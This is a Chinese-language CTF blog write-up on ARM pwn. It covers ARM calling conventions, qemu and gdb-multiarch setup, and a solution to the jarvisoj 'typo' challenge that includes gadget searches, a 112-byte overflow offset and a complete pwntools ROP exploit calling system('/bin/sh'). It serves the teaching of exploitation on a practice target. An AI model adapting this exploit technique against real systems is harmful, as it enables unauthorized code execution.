本文最后更新于:星期三, 一月 2日 2019, 4:11 下午

最近做了下InCTF,第一道pwn题就是arm架构的,之前没有接触过,就学习一下

基础知识

可以看下维基百科的arm架构 ,介绍的挺详细的

arm下的通用寄存器

1538878763567

函数调用约定:

ARM:参数1~参数4 分别保存到 R0~R3 寄存器中 ,剩下的参数从右往左依次入栈,被调用者实现栈平衡,返回值存放在 R0 中。

ARM64:参数1~参数8 分别保存到 X0~X7 寄存器中 ,剩下的参数从右往左依次入栈,被调用者实现栈平衡,返回值存放在 X0 中。

arm下的pc相当于eip或者rip,保存着下一条要执行的指令的地址

环境准备

这里我没装新的虚拟机,我直接在ubuntu16.04装的环境

  1. 安装gdb-multiarch,用来调试多架构的程序

    sudo apt-get install gdb-multiarch
    
  2. 安装qemu

    sudo apt-get install qemu-user
    
  3. 安装程序架构对应的共享库

    简单运行下程序,看需要什么共享库

    $ ./wARMup                                                           [19:42:58]
    /lib/ld-linux-armhf.so.3: No such file or directory
    

    然后再终端输入

    zs0zrc@ubuntu: ~/game/InCTF/PWN/WARMUP
    $ apt-cache search "libc6" | grep arm                                [10:34:21]
    libc6-arm64-cross - GNU C Library: Shared libraries (for cross-compiling)
    libc6-armhf-cross - GNU C Library: Shared libraries (for cross-compiling)
    libc6-dev-arm64-cross - GNU C Library: Development Libraries and Header Files (for cross-compiling)
    libc6-dev-armhf-cross - GNU C Library: Development Libraries and Header Files (for cross-compiling)
    libc6-armel-armhf-cross - Dummy package to get libc6:armel installed
    libc6-armel-cross - GNU C Library: Shared libraries (for cross-compiling)
    libc6-armhf-armel-cross - Dummy package to get libc6:armhf installed
    libc6-dbg-arm64-cross - GNU C Library: detached debugging symbols (for cross-compiling)
    libc6-dbg-armel-cross - GNU C Library: detached debugging symbols (for cross-compiling)
    libc6-dbg-armhf-cross - GNU C Library: detached debugging symbols (for cross-compiling)
    libc6-dev-armel-armhf-cross - Dummy package to get libc6-dev:armel installed
    libc6-dev-armel-cross - GNU C Library: Development Libraries and Header Files (for cross-compiling)
    libc6-dev-armhf-armel-cross - Dummy package to get libc6-dev:armhf installed
    

    安装对应的共享库

    通过 sudo apt-get install libc6-armhf-cross 来安装

  4. 运行

    程序运行需要用qemu来指定它共享库的位置

    参数 -L指定共享库的位置
    qemu-arm -L /usr/arm-linux-gnueabihf/ ./wARMup
    
  5. 调试的话用gdb-multiarch

    先用qemu将程序映射到某个端口,参数为-g

    然后用gdb-multiarch开启远程调试

    先用qemu映射到端口1234
    qemu-arm -g 1234 -L /usr/arm-linux-gnueabihf/ ./wARMup
    然后用gdb-multiarch开启远程调试
    pwndbg> set architecture arm
    The target architecture is assumed to be arm
    pwndbg> target remote localhost:1234
    
    

题目

typo

这是jarvisoj平台上的一道pwn题

防护机制:

[*] '/home/zs0zrc/pwn/jarvisoj/typo/typo'
    Arch:     arm-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8000)

文件信息:

☁  typo  file typo
typo: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=211877f58b5a0e8774b8a3a72c83890f8cd38e63, stripped

说明这个程序是静态链接,所以程序中一定会有system函数以及”/bin/sh”字符串,但是用ida反编译时会发现函数的符号都被去除了,但是可以在字符串表找到”/bin/sh”字符串,这里用rizzo插件恢复下符号。

做法:

将arm的libc.so文件拖入ida
然后在选择 file-->Produce file-->Rizzo signature file
导出符号文件 
然后用ida打开typo 
选择 file-->Load file-->Rizzo signature file
就可以看到一些函数符号了

char *__fastcall system(int a1)
{
  char *result; // r0

  if ( a1 )
    result = sub_10BA8(a1);
  else
    result = (sub_10BA8("exit 0") == 0);
  return result;
}

简单运行下程序,程序要我们输入一个字符串,因为arm下的pwn一般是栈溢出居多,而且防护机制没开canary,所以用pwndbg测了下栈的大小

pwndbg> cyclic -l 0x62616164
112

栈的长度为112,接下来就是找能控制r0和pc的gadget,这里我用的是ropper

(typo/ELF/ARM)> search pop|ret |grep r0
[INFO] Searching for gadgets: pop|ret |grep r0

[INFO] File: typo
0x00011364: pop {lr}; add sp, sp, #0x10; bx lr; 
0x00011398: pop {lr}; add sp, sp, #0xc; bx lr; 
0x0001db98: pop {lr}; b #0x11e38; mov r1, lr; pop {lr}; bx r3; 
0x0001dba4: pop {lr}; bx r3; 
0x00053ea8: pop {pc}; mov r0, #0; bx lr; 
0x00050f30: pop {pc}; mov r0, r3; bx lr; 
0x00053078: pop {r0, r1, r2, r3, r4, lr}; bx ip; 
0x00053d64: pop {r0, r1, r3, ip, lr}; pop {r2}; ldr r1, [r0, #4]; bx r1; 
0x00020904: pop {r0, r4, pc};   //选择的gadget

之后就是ROP就行了

exp:

#!/usr/bin/env python
from pwn import *
local = 1
debug = 0

if local:
    p = remote("pwn2.jarvisoj.com","9888")
elif debug:
    p = process(["qemu-arm", "-g", "1234", "-L", "arm-linux-gnueabihf", "typo"])    
else:
    p = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "typo"])


elf = ELF("typo")
libc = ELF("/usr/arm-linux-gnueabihf/lib/libc.so.6")
context.binary = "typo"
context.log_level = "debug"


def sd(content):
    p.send(content)

def sl(content):
    p.sendline(content)

def rc():
    return p.recv()

def ru(content):
    return p.recvuntil(content)


rc()
sl('')
payload = 'a'*112 + p32(0x00020904) + p32(0x0006c384) + p32(0) + p32(0x000110B4)
rc()

sl(payload)
p.interactive()

reference:

调用约定

M4x大佬博客

D4rk3r大佬博客


pwn ARM

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!